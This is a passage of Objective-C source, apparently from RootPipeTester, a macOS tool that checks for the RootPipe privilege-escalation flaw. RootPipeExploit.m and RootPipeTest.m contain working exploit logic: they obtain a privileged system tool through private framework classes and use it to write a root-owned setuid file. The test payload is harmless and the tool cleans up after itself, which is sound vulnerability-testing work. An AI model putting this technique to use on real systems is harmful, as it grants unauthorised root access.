297 | fprintf(stderr, "An error occurred while trying to finish Phoenix test: %s\n", [[localException description] UTF8String]);
298 | NS_ENDHANDLER
299 |
300 | phoenixend:
301 | // [/phoenix test]
302 |
303 | printf("\nTried to write the following files: %s\n", [[[[usedFiles allObjects] sortedArrayUsingSelector:@selector(caseInsensitiveCompare:)] descriptionWithLocale:nil indent:1] UTF8String]);
304 |
305 | // Test finished
306 | printf("\n--------------\nTest finished.\n\n");
307 | NSString *testResultText = @"";
308 | RPTTestFinishedAlertSheetMode sheetMode = 0;
309 | if (vulnerableWithoutAuth || vulnerableWithAuth || [vulnerableWithoutPhoenixAuth boolValue] || [vulnerableWithPhoenixAuth boolValue]) {
310 | testResultText = @"Your system appears to be attackable. Please read the output above for detailed information.";
311 | sheetMode = kRPTTestFinishedVulnerable;
312 | } else {
313 | testResultText = @"Your system appears to be secure.";
314 | sheetMode = kRPTTestFinishedSecure;
315 | }
316 |
317 | // Print test finished user information
318 | printf("%s\n", [testResultText UTF8String]);
319 |
320 | SEL const displayFinishSheetSel = @selector(displayTestFinishedAlertSheet:mode:);
321 | NSInvocation *sheetInv = [NSInvocation invocationWithMethodSignature:[self methodSignatureForSelector:displayFinishSheetSel]];
322 | [sheetInv setSelector:displayFinishSheetSel];
323 | [sheetInv setArgument:&testResultText atIndex:2];
324 | [sheetInv setArgument:&sheetMode atIndex:3];
325 | [sheetInv performSelectorOnMainThread:@selector(invokeWithTarget:) withObject:self waitUntilDone:NO];
326 |
327 |
328 | [[NSNotificationCenter defaultCenter] postNotificationName:RootPipeTestFinished object:NSApp];
329 |
330 | // Restore stdout and stderr
331 | fflush(stdout);
332 | dup2(oldStdOut, fileno(stdout));
333 | close(oldStdOut);
334 | fflush(stderr);
335 | dup2(oldStdErr, fileno(stderr));
336 | close(oldStdErr);
337 |
338 | [pool release];
339 | }
340 |
341 | - (void)displayTestFinishedAlertSheet:(NSString *)aMessage mode:(RPTTestFinishedAlertSheetMode)aMode {
342 | void (*beginAlertSheet)(NSString *, NSString *, NSString *, NSString *, NSWindow *, id, SEL, SEL, void *, NSString *, ...) = NULL;
343 | switch (aMode) {
344 | case kRPTTestFinishedSecure:
345 | beginAlertSheet = &NSBeginInformationalAlertSheet;
346 | break;
347 | case kRPTTestFinishedVulnerable:
348 | beginAlertSheet = &NSBeginCriticalAlertSheet;
349 | break;
350 | default:
351 | return;
352 | }
353 |
354 | if (beginAlertSheet) {
355 | beginAlertSheet(
356 | @"Test Result",
357 | @"OK",
358 | nil,
359 | nil,
360 | mainWindow,
361 | nil,
362 | NULL,
363 | NULL,
364 | NULL,
365 | aMessage
366 | );
367 | }
368 | }
369 |
370 | - (void)updateTextView:(NSNotification *)notification {
371 | NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
372 | NSFileHandle *fh = (NSFileHandle *)[notification object];
373 | NSData *data;
374 |
375 | NS_DURING
376 | if ([[notification name] isEqualToString:NSFileHandleReadCompletionNotification]) {
377 | [fh performSelectorOnMainThread:@selector(readInBackgroundAndNotify) withObject:nil waitUntilDone:NO];
378 | data = (NSData *)[(NSDictionary *)[notification userInfo] objectForKey:NSFileHandleNotificationDataItem];
379 | } else if ([[notification name] isEqualToString:NSFileHandleDataAvailableNotification]) {
380 | [fh performSelectorOnMainThread:@selector(waitForDataInBackgroundAndNotify) withObject:nil waitUntilDone:NO];
381 | data = [fh availableData];
382 |
383 | if ([data length] == 0) {
384 | // File Handle reached EOF, let's unsubscribe from it's notifications to avoid having permanent notifications.
385 | [[NSNotificationCenter defaultCenter] removeObserver:self name:nil object:fh];
386 | }
387 | } else return;
388 | NS_HANDLER
389 | return;
390 | NS_ENDHANDLER
391 |
392 | NSAttributedString *attributedString = [[NSAttributedString alloc] autorelease];
393 | NSString *str = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
394 |
395 | if (!str && [data length] > 0) {
396 | // Try reading as ASCII. Better than nothing I guess
397 | [str release];
398 | str = [[NSString alloc] initWithData:data encoding:NSASCIIStringEncoding];
399 | }
400 |
401 | [attributedString initWithString:str];
402 | [str release];
403 |
404 | if ([attributedString length] < 1) return; // nothing to fill into TextView
405 |
406 | // Smart Scrolling
407 | BOOL shouldScrollToBottom = (NSMaxY([textOutput visibleRect]) == NSMaxY([textOutput bounds]));
408 |
409 | // Asynchronously update TextView on the GUI thread.
410 | // todo [[textOutput textStorage] performSelectorOnMainThread:@selector(appendAttributedString:) withObject:attributedString waitUntilDone:NO];
411 | [[textOutput textStorage] appendAttributedString:attributedString];
412 |
413 | if (shouldScrollToBottom) {
414 | // Scroll to end of the textview contents
415 | [textOutput scrollRangeToVisible:NSMakeRange([[textOutput string] length], 0)];
416 | }
417 |
418 | [pool release];
419 | }
420 |
421 | - (BOOL)mainWindowCanCloseTerminating:(BOOL)terminating { // terminating should be YES if this method is called from applicationShouldTerminate:
422 | NSArray *leftoverFiles = [[_rpTest leftoverTestFiles] allObjects];
423 |
424 | if ([leftoverFiles count] > 0) {
425 | NSBeginInformationalAlertSheet(@"Delete the SUID files this app created?",
426 | @"Clean Up",
427 | (terminating ? @"Quit" : @"Close"),
428 | nil,
429 | (terminating ? nil : mainWindow),
430 | self,
431 | NULL, @selector(sheetDidDismiss:returnCode:contextInfo:),
432 | (terminating ? @"TerminateShouldCleanUpDialog" : @"MainCloseShouldCleanUpDialog"),
433 | [NSString stringWithFormat:@"Select \"Clean Up\" to delete the useless files this app created.\nThis is probably what you want unless you want to manually inspect the files for yourself afterwards.\n\nThis will delete: %@", [leftoverFiles descriptionWithLocale:nil indent:1]]
434 | );
435 | return NO;
436 | } else {
437 | return YES;
438 | }
439 | }
440 |
441 | - (BOOL)windowShouldClose:(id)window {
442 | if (window != mainWindow) return YES; //only want to act on main window close
443 | return [self mainWindowCanCloseTerminating:NO];
444 | }
445 |
446 | - (NSApplicationTerminateReply)applicationShouldTerminate:(NSApplication *)sender {
447 | // call clean up procedure because applicationShouldTerminate closes windows directly, so windowShouldClose: won't get called
448 | return ([self mainWindowCanCloseTerminating:YES] ? NSTerminateNow : NSTerminateLater);
449 | }
450 |
451 | - (BOOL)applicationShouldTerminateAfterLastWindowClosed:(NSApplication *)application {
452 | return YES;
453 | }
454 |
455 | - (void)dealloc {
456 | [_rpTest release];
457 | [super dealloc];
458 | }
459 |
460 | @end
461 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeExploit.h:
--------------------------------------------------------------------------------
1 | //
2 | // RootPipeExploit.h
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 20.04.15.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #import
24 |
25 | #if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_3
26 | #import
27 | #endif
28 |
29 | typedef enum RootPipeAPIVersion {
30 | RootPipeOldApi = 1,
31 | RootPipeNewApi = 2
32 | } RootPipeAPIVersion;
33 |
34 | @interface RootPipeExploit : NSObject
35 |
36 | + (RootPipeAPIVersion)apiVersion;
37 |
38 | + (id)authorizaton;
39 |
40 | + (id)getTool:(BOOL)useAuth;
41 | + (id)getTool; // will try to get you a tool without and with using authorization
42 |
43 | @end
44 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeExploit.m:
--------------------------------------------------------------------------------
1 | //
2 | // RootPipeExploit.m
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 20.04.15.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #import "RootPipeExploit.h"
24 |
25 | static Class Authenticator = nil;
26 | static Class WriteConfigClient = nil;
27 | static Class ToolLiaison = nil;
28 |
29 | @implementation RootPipeExploit
30 |
31 | + (void)initialize {
32 | if (self == [RootPipeExploit class]) {
33 | Authenticator = NSClassFromString(@"Authenticator");
34 | WriteConfigClient = NSClassFromString(@"WriteConfigClient");
35 | ToolLiaison = NSClassFromString(@"ToolLiaison");
36 | }
37 | }
38 |
39 | + (RootPipeAPIVersion)apiVersion {
40 | if (NSClassFromString(@"WriteConfigClient")) return RootPipeNewApi; //10.9 or higher
41 | if (NSClassFromString(@"ToolLiaison")) return RootPipeOldApi; // 10.8 or lower
42 |
43 | return 0;
44 | }
45 |
46 | + (id)authorizaton {
47 | Class AuthClass = nil;
48 | if ((AuthClass = NSClassFromString(@"SFAuthorization"))); // SecurityFoundation exists (10.3 or higher)
49 | else if ((AuthClass = NSClassFromString(@"NSAuthorization"))); // NSAuthorization class exists (10.2 only)
50 |
51 | return [AuthClass performSelector:@selector(authorization)];
52 | }
53 |
54 | + (id)getTool:(BOOL)useAuth {
55 | // This is where the magic happens
56 | id tool = nil;
57 |
58 | NS_DURING
59 | id auth = (useAuth ? [[self class] authorizaton] : nil); //get auth only when needed.
60 |
61 | switch ([[self class] apiVersion]) {
62 | case RootPipeNewApi: {
63 | id sharedClient = [WriteConfigClient performSelector:@selector(sharedClient)];
64 | [sharedClient performSelector:@selector(authenticateUsingAuthorizationSync:) withObject:auth];
65 | tool = [sharedClient performSelector:@selector(remoteProxy)];
66 | break;
67 | }
68 | case RootPipeOldApi: {
69 | id authenticator = [Authenticator performSelector:@selector(sharedAuthenticator)];
70 | /*BOOL authSucceeded = */[authenticator performSelector:@selector(authenticateUsingAuthorizationSync:) withObject:auth];
71 | id sharedLiaison = [ToolLiaison performSelector:@selector(sharedToolLiaison)];
72 | tool = [sharedLiaison performSelector:@selector(tool)];
73 | break;
74 | }
75 | default:
76 | break;
77 | }
78 | NS_HANDLER
79 | if ([localException isKindOfClass:[NSException class]]) {
80 | fprintf(stderr, "An %s was raised while trying to get tool: %s\n", ([[localException name] UTF8String] ?: "exception"), [[localException reason] UTF8String]);
81 | } else {
82 | fprintf(stderr, "An error occured while trying to get tool.\n");
83 | }
84 | NS_ENDHANDLER
85 |
86 | return tool;
87 | }
88 |
89 | + (id)getTool {
90 | id tool = [self getTool:NO];
91 | if (tool == nil) tool = [self getTool:YES]; // "fall back" to user auth, might ask the user for password though
92 | return tool;
93 | }
94 |
95 | @end
96 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeTest.h:
--------------------------------------------------------------------------------
1 | //
2 | // RootPipeTest.h
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 20.04.15.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #include
24 | #import
25 | #import "RootPipeExploit.h"
26 |
27 | extern NSString * const RootPipeTestStarted;
28 | extern NSString * const RootPipeTestFinished;
29 |
30 | @interface RootPipeTest : NSObject {
31 | NSLock *_testFilesLock;
32 | NSMutableSet *_usedTestFiles;
33 |
34 | }
35 |
36 | - (BOOL)runTestWithAuthorization:(BOOL)useAuth; // returns if vulnerable
37 | - (BOOL)runTestWithAuthorization:(BOOL)useAuth fileAttributes:(NSDictionary **)fileAttr; // also returns the attributes of the written file
38 |
39 | - (NSSet *)usedTestFiles;
40 | - (NSSet *)leftoverTestFiles; // returns a list of test files which still exist on the file system
41 | - (BOOL)hasLeftoverTestFiles;
42 | - (void)cleanUp; // will remove the /private/tmp files this application creates
43 |
44 | @end
45 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeTest.m:
--------------------------------------------------------------------------------
1 | //
2 | // RootPipeTest.m
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 20.04.15.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #import "RootPipeTest.h"
24 |
25 | #if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_3
26 | @class NSError; // resolve building error on 10.2.x and lower.
27 | #endif
28 | #if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_4
29 | typedef enum {
30 | NSDateFormatterBehaviorDefault = 0,
31 | NSDateFormatterBehavior10_0 = 1000,
32 | NSDateFormatterBehavior10_4 = 1040,
33 | } NSDateFormatterBehavior;
34 | #endif
35 |
36 | NSString * const RootPipeTestStarted = @"RootPipeTestStarted";
37 | NSString * const RootPipeTestFinished = @"RootPipeTestFinished";
38 |
39 | static NSString * const FILE_PATH_FMT = @"/private/tmp/rootpipe_tester_%@.txt";
40 |
41 | @implementation RootPipeTest
42 |
43 | + (NSString *)generateTempFilePath {
44 | static NSDateFormatter *df = nil;
45 | static BOOL newStyleDf = YES;
46 |
47 | if (!df) {
48 | // Initialize static date formatter
49 | newStyleDf = [NSDateFormatter instancesRespondToSelector:@selector(stringFromDate:)];
50 | if (newStyleDf) {
51 | // Use 10.4 style Date Formatter
52 | df = [NSDateFormatter new];
53 | SEL setBehaviorSelector = @selector(setFormatterBehavior:);
54 | if ([df respondsToSelector:setBehaviorSelector]) {
55 | ((void (*)(id, SEL, NSDateFormatterBehavior))[df methodForSelector:setBehaviorSelector])(df, setBehaviorSelector, NSDateFormatterBehavior10_4);
56 | }
57 | [df performSelector:@selector(setDateFormat:) withObject:@"ddMMYYYYHHmmss"];
58 | } else {
59 | // Use pre-10.4 style Date Formatter
60 | df = [[NSDateFormatter alloc] initWithDateFormat:@"%d%m%Y%H%M%S" allowNaturalLanguage:NO];
61 | }
62 | }
63 |
64 | NSString *dateString = [df performSelector:(newStyleDf ? @selector(stringFromDate:) : @selector(stringForObjectValue:)) withObject:[NSDate date]];
65 | return [NSString stringWithFormat:FILE_PATH_FMT, dateString];
66 | }
67 |
68 | - (id)init {
69 | if ((self = [super init])) {
70 | _testFilesLock = [NSLock new];
71 | _usedTestFiles = [[NSMutableSet alloc] initWithCapacity:2];
72 | }
73 | return self;
74 | }
75 |
76 |
77 | - (NSString *)newTestFilePath {
78 | NSString *newFile = nil;
79 | do {
80 | newFile = [[self class] generateTempFilePath];
81 | } while ([[NSFileManager defaultManager] fileExistsAtPath:newFile]);
82 |
83 | [_testFilesLock lock];
84 | [_usedTestFiles addObject:newFile];
85 | [_testFilesLock unlock];
86 |
87 | return newFile;
88 | }
89 |
90 | - (BOOL)runTestWithAuthorization:(BOOL)useAuth {
91 | return [self runTestWithAuthorization:useAuth fileAttributes:nil];
92 | }
93 |
94 | - (BOOL)runTestWithAuthorization:(BOOL)useAuth fileAttributes:(NSDictionary **)fileAttr {
95 | NSData * const FILE_CONTENTS = [@"VULNERABLE" dataUsingEncoding:NSASCIIStringEncoding];
96 |
97 | // "Get" Test File Path
98 | NSString *testFile = [self newTestFilePath];
99 | const char *testFileStr = [testFile UTF8String];
100 |
101 | // Unset fileAttr so that in case the system is not vulnerable, the dictionary will be empty as it should
102 | if (fileAttr) {
103 | *fileAttr = nil;
104 | }
105 |
106 | printf("Running RootPipe Test %s user authorization\n", (useAuth ? "with" : "without"));
107 |
108 | // Get Tool
109 | printf("Trying to get tool...\n");
110 | id tool = [RootPipeExploit getTool:useAuth];
111 | if ([tool respondsToSelector:@selector(description)] || tool == nil) {
112 | printf("Tool is: %s\n", [[tool description] UTF8String]);
113 | } else {
114 | // Fix for OS X 10.8 where NSDistantObject does not respond to description
115 | printf("Tool is: %s\n", [NSStringFromClass([tool class]) UTF8String]);
116 | }
117 |
118 |
119 | if([[NSFileManager defaultManager] fileExistsAtPath:testFile]) {
120 | printf("The file \"%s\" already existed before trying to exploit. This might have an effect on the test result!\n", testFileStr); // this should not happen
121 | }
122 |
123 | // Try to write file
124 | NSDictionary *createFileAttributesDictionary = [NSDictionary dictionaryWithObjectsAndKeys:
125 | [NSNumber numberWithUnsignedShort /* maybe unsigned long should be used here… */ :04777], NSFilePosixPermissions,
126 | @"root", NSFileOwnerAccountName,
127 | @"wheel", NSFileGroupOwnerAccountName,
128 | nil
129 | ];
130 |
131 |
132 | BOOL createFileResult = YES;
133 | NS_DURING
134 | createFileResult = [tool createFileWithContents:FILE_CONTENTS path:testFile attributes:createFileAttributesDictionary];
135 | NS_HANDLER
136 | if ([localException isKindOfClass:[NSException class]]) {
137 | fprintf(stderr, "An %s was raised while trying to write file: %s\n", ([[localException name] UTF8String] ?: "exception"), [[localException reason] UTF8String]);
138 | } else {
139 | fprintf(stderr, "An error occured while trying to write file.\n");
140 | }
141 | NS_ENDHANDLER
142 |
143 | if (createFileResult) {
144 | sleep(2); //fixes false negatives on 10.9 --> https://github.com/sideeffect42/RootPipeTester/issues/1
145 | } else {
146 | printf("The tool indicates that writing the file \"%s\" failed.\n", testFileStr);
147 | usleep(500000); //fixes false negatives on 10.9 --> https://github.com/sideeffect42/RootPipeTester/issues/1
148 | }
149 |
150 | // Check if it worked
151 | NSFileManager *fm = [NSFileManager defaultManager];
152 |
153 | BOOL fileIsThere = [fm fileExistsAtPath:testFile];
154 | if (!fileIsThere) { // not vulnerable
155 | printf("File at \"%s\" does not exist.\n", testFileStr);
156 | return NO;
157 | } else {
158 | printf("%sile at \"%s\" exists.\n", (createFileResult?"F":"But f"), testFileStr);
159 | }
160 |
161 | NSData *writtenFileContent = [fm contentsAtPath:testFile];
162 | if (![writtenFileContent isEqualToData:FILE_CONTENTS]) { // not vulnerable, maybe some other file was there before or something
163 | printf("The contents of the file don't match what we tried to write.\n");
164 | return NO;
165 | } else {
166 | printf("The contents of the file match what we tried to write.\n");
167 | }
168 |
169 | NSDictionary *writtenFileAttributes = nil;
170 | SEL newAttributesSelector = @selector(attributesOfItemAtPath:error:);
171 | if ([fm respondsToSelector:newAttributesSelector]) {
172 | // - (NSDictionary *)attributesOfItemAtPath:(NSString *)patherror:(NSError **)error AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER
173 | NSError *error = nil;
174 | writtenFileAttributes = ((NSDictionary *(*)(id, SEL, NSString *, NSError **))[fm methodForSelector:newAttributesSelector])(fm, newAttributesSelector, [testFile stringByResolvingSymlinksInPath], &error);
175 | if (error) {
176 | printf("Could not read file attributes.\n");
177 | return NO;
178 | }
179 | } else {
180 | writtenFileAttributes = [fm fileAttributesAtPath:testFile traverseLink:YES];
181 | }
182 |
183 | // "Export" file attributes
184 | if (fileAttr) {
185 | *fileAttr = [NSDictionary dictionaryWithDictionary:writtenFileAttributes];
186 | }
187 |
188 | NSString *writtenFilePermissions = [NSString stringWithFormat:@"%o", [(NSNumber *)[writtenFileAttributes objectForKey:NSFilePosixPermissions] shortValue]]; // octal permissions
189 |
190 | if ([writtenFileAttributes objectForKey:NSFileType] == NSFileTypeRegular &&
191 | [(NSString *)[writtenFileAttributes objectForKey:NSFileOwnerAccountName] isEqualToString:@"root"] &&
192 | //[(NSString *)[writtenFileAttributes objectForKey:NSFileGroupOwnerAccountName] isEqualToString:@"wheel"] &&
193 | [writtenFilePermissions isEqualToString:@"4777"]
194 | ) {
195 | return YES; // You are vulnerable :(
196 | } else {
197 | printf("The file attributes are not what they're expected to be.\n");
198 | }
199 |
200 | return NO; // by defaults assume all's good :)
201 | }
202 |
203 | - (NSSet *)usedTestFiles {
204 | NSSet *copy = nil;
205 | [_testFilesLock lock];
206 | copy = [NSSet setWithSet:_usedTestFiles];
207 | [_testFilesLock unlock];
208 |
209 | return copy;
210 | }
211 | - (NSSet *)leftoverTestFiles {
212 | NSMutableSet *leftovers = [NSMutableSet setWithCapacity:[_usedTestFiles count]];
213 |
214 | [_testFilesLock lock];
215 | NSFileManager *fm = [NSFileManager defaultManager];
216 | NSEnumerator *enumerator = [_usedTestFiles objectEnumerator];
217 | NSString *file = nil;
218 |
219 | while ((file = [enumerator nextObject])) {
220 | if ([fm fileExistsAtPath:file]) {
221 | [leftovers addObject:file];
222 | }
223 | }
224 | [_testFilesLock unlock];
225 |
226 | return [NSSet setWithSet:leftovers];
227 | }
228 | - (BOOL)hasLeftoverTestFiles {
229 | return ([[self leftoverTestFiles] count] > 0);
230 | }
231 |
232 |
233 | - (void)cleanUp {
234 | BOOL isLeopardOrHigher = [NSThread instancesRespondToSelector:@selector(start)]; // "NSDistantObject access attempted from another thread" will interrupt execution on Panther and Tiger, annoying; TODO: Fix
235 |
236 | id tool = nil;
237 | BOOL deleteSuccess = NO;
238 |
239 | NSSet *files = nil;
240 | [_testFilesLock lock];
241 | files = [_usedTestFiles copy];
242 | [_testFilesLock unlock];
243 |
244 | NSFileManager *fm = [NSFileManager defaultManager];
245 | NSEnumerator *enumerator = [files objectEnumerator];
246 | NSString *file = nil;
247 |
248 | while ((file = [enumerator nextObject])) {
249 | if ([fm fileExistsAtPath:file]) {
250 | // Delete our testing file
251 | deleteSuccess = NO;
252 | SEL newRemoveSelector = @selector(removeItemAtPath:error:);
253 | if ([fm respondsToSelector:newRemoveSelector]) {
254 | // - (BOOL)removeItemAtPath:(NSString *)path error:(NSError **)error AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER
255 | deleteSuccess = ((BOOL (*)(id, SEL, NSString *, NSError **))[fm methodForSelector:newRemoveSelector])(fm, newRemoveSelector, [file stringByResolvingSymlinksInPath], nil);
256 | } else {
257 | deleteSuccess = [fm removeFileAtPath:file handler:nil];
258 | }
259 | if (!deleteSuccess && isLeopardOrHigher && (tool = (tool ?: [RootPipeExploit getTool]))) {
260 | // Let's try and use RootPipe to delete the file...
261 | SEL toolRemoveSelector = @selector(removeFileAtPath:);
262 | if ([tool respondsToSelector:toolRemoveSelector]) {
263 | deleteSuccess = ((BOOL (*)(id, SEL, NSString *))[fm methodForSelector:toolRemoveSelector])(tool, toolRemoveSelector, file);
264 | }
265 |
266 | if (!deleteSuccess) { NSLog(@"Clean up for \"%@\" failed even using RootPipe.", file); }
267 | }
268 | } else continue; // if the file didn't exist in the beginning, no further processing is required
269 | }
270 |
271 | if ([self hasLeftoverTestFiles]) {
272 | NSRunInformationalAlertPanel(@"Clean Up",
273 | [NSString stringWithFormat:@"Clean up didn't work 100 percent correctly.\nPlease run the following command from your Terminal to remove the testing files:\n\nsudo rm -iv -- %@;", [NSString stringWithFormat:FILE_PATH_FMT, @"*"]],
274 | nil, nil, nil);
275 | }
276 |
277 | [files release];
278 | }
279 |
280 | - (void)dealloc {
281 | [_usedTestFiles release];
282 | [_testFilesLock release];
283 | [super dealloc];
284 | }
285 |
286 | @end
287 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeTester.pbproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 38;
7 | objects = {
8 | 080E96DCFE201CFB7F000001 = {
9 | fileRef = 29B97318FDCFA39411CA2CEA;
10 | isa = PBXBuildFile;
11 | settings = {
12 | };
13 | };
14 | 080E96DDFE201D6D7F000001 = {
15 | children = (
16 | 8277ACD71AF5423600A8000E,
17 | 8277ACD81AF5423600A8000E,
18 | 8277ACDC1AF5423F00A8000E,
19 | 8277ACDB1AF5423F00A8000E,
20 | 8277ACDF1AF5424700A8000E,
21 | 8277ACE01AF5424700A8000E,
22 | 82EB2FBD1AF7933900A8000E,
23 | 82EB2FBC1AF7933900A8000E,
24 | );
25 | isa = PBXGroup;
26 | name = Classes;
27 | refType = 4;
28 | };
29 | 089C165CFE840E0CC02AAC07 = {
30 | children = (
31 | 089C165DFE840E0CC02AAC07,
32 | );
33 | isa = PBXVariantGroup;
34 | name = InfoPlist.strings;
35 | refType = 4;
36 | };
37 | 089C165DFE840E0CC02AAC07 = {
38 | fileEncoding = 10;
39 | isa = PBXFileReference;
40 | name = English;
41 | path = English.lproj/InfoPlist.strings;
42 | refType = 4;
43 | };
44 | 089C165EFE840E0CC02AAC07 = {
45 | fileRef = 089C165CFE840E0CC02AAC07;
46 | isa = PBXBuildFile;
47 | settings = {
48 | };
49 | };
50 | //080
51 | //081
52 | //082
53 | //083
54 | //084
55 | //100
56 | //101
57 | //102
58 | //103
59 | //104
60 | 1058C7A0FEA54F0111CA2CBB = {
61 | children = (
62 | 1058C7A1FEA54F0111CA2CBB,
63 | 8277ACD11AF541C000A8000E,
64 | 8277ACD31AF541D100A8000E,
65 | 823271A41AFF667200A8000E,
66 | );
67 | isa = PBXGroup;
68 | name = "Linked Frameworks";
69 | refType = 4;
70 | };
71 | 1058C7A1FEA54F0111CA2CBB = {
72 | isa = PBXFrameworkReference;
73 | name = Cocoa.framework;
74 | path = /System/Library/Frameworks/Cocoa.framework;
75 | refType = 0;
76 | };
77 | 1058C7A2FEA54F0111CA2CBB = {
78 | children = (
79 | 29B97325FDCFA39411CA2CEA,
80 | 29B97324FDCFA39411CA2CEA,
81 | );
82 | isa = PBXGroup;
83 | name = "Other Frameworks";
84 | refType = 4;
85 | };
86 | 1058C7A3FEA54F0111CA2CBB = {
87 | fileRef = 1058C7A1FEA54F0111CA2CBB;
88 | isa = PBXBuildFile;
89 | settings = {
90 | };
91 | };
92 | //100
93 | //101
94 | //102
95 | //103
96 | //104
97 | //170
98 | //171
99 | //172
100 | //173
101 | //174
102 | 17587328FF379C6511CA2CBB = {
103 | isa = PBXApplicationReference;
104 | path = RootPipeTester.app;
105 | refType = 3;
106 | };
107 | //170
108 | //171
109 | //172
110 | //173
111 | //174
112 | //190
113 | //191
114 | //192
115 | //193
116 | //194
117 | 19C28FACFE9D520D11CA2CBB = {
118 | children = (
119 | 17587328FF379C6511CA2CBB,
120 | 82E718A61B62D66D00A8000E,
121 | );
122 | isa = PBXGroup;
123 | name = Products;
124 | refType = 4;
125 | };
126 | //190
127 | //191
128 | //192
129 | //193
130 | //194
131 | //290
132 | //291
133 | //292
134 | //293
135 | //294
136 | 29B97313FDCFA39411CA2CEA = {
137 | buildStyles = (
138 | 4A9504CCFFE6A4B311CA0CBA,
139 | 4A9504CDFFE6A4B311CA0CBA,
140 | );
141 | hasScannedForEncodings = 1;
142 | isa = PBXProject;
143 | mainGroup = 29B97314FDCFA39411CA2CEA;
144 | projectDirPath = "";
145 | targets = (
146 | 29B97326FDCFA39411CA2CEA,
147 | 82E718A51B62D66D00A8000E,
148 | );
149 | };
150 | 29B97314FDCFA39411CA2CEA = {
151 | children = (
152 | 82E718951B62D5B000A8000E,
153 | 080E96DDFE201D6D7F000001,
154 | 29B97315FDCFA39411CA2CEA,
155 | 29B97317FDCFA39411CA2CEA,
156 | 29B97323FDCFA39411CA2CEA,
157 | 19C28FACFE9D520D11CA2CBB,
158 | );
159 | isa = PBXGroup;
160 | name = RootPipeTester;
161 | path = "";
162 | refType = 4;
163 | };
164 | 29B97315FDCFA39411CA2CEA = {
165 | children = (
166 | 8277ACD51AF5421000A8000E,
167 | 29B97316FDCFA39411CA2CEA,
168 | );
169 | isa = PBXGroup;
170 | name = "Other Sources";
171 | path = "";
172 | refType = 4;
173 | };
174 | 29B97316FDCFA39411CA2CEA = {
175 | fileEncoding = 30;
176 | isa = PBXFileReference;
177 | path = main.m;
178 | refType = 4;
179 | };
180 | 29B97317FDCFA39411CA2CEA = {
181 | children = (
182 | 29B97318FDCFA39411CA2CEA,
183 | 089C165CFE840E0CC02AAC07,
184 | 8278EAF71AFCF61B00A8000E,
185 | );
186 | isa = PBXGroup;
187 | name = Resources;
188 | path = "";
189 | refType = 4;
190 | };
191 | 29B97318FDCFA39411CA2CEA = {
192 | children = (
193 | 29B97319FDCFA39411CA2CEA,
194 | );
195 | isa = PBXVariantGroup;
196 | name = MainMenu.nib;
197 | path = "";
198 | refType = 4;
199 | };
200 | 29B97319FDCFA39411CA2CEA = {
201 | isa = PBXFileReference;
202 | name = English;
203 | path = English.lproj/MainMenu.nib;
204 | refType = 4;
205 | };
206 | 29B97323FDCFA39411CA2CEA = {
207 | children = (
208 | 1058C7A0FEA54F0111CA2CBB,
209 | 1058C7A2FEA54F0111CA2CBB,
210 | );
211 | isa = PBXGroup;
212 | name = Frameworks;
213 | path = "";
214 | refType = 4;
215 | };
216 | 29B97324FDCFA39411CA2CEA = {
217 | isa = PBXFrameworkReference;
218 | name = AppKit.framework;
219 | path = /System/Library/Frameworks/AppKit.framework;
220 | refType = 0;
221 | };
222 | 29B97325FDCFA39411CA2CEA = {
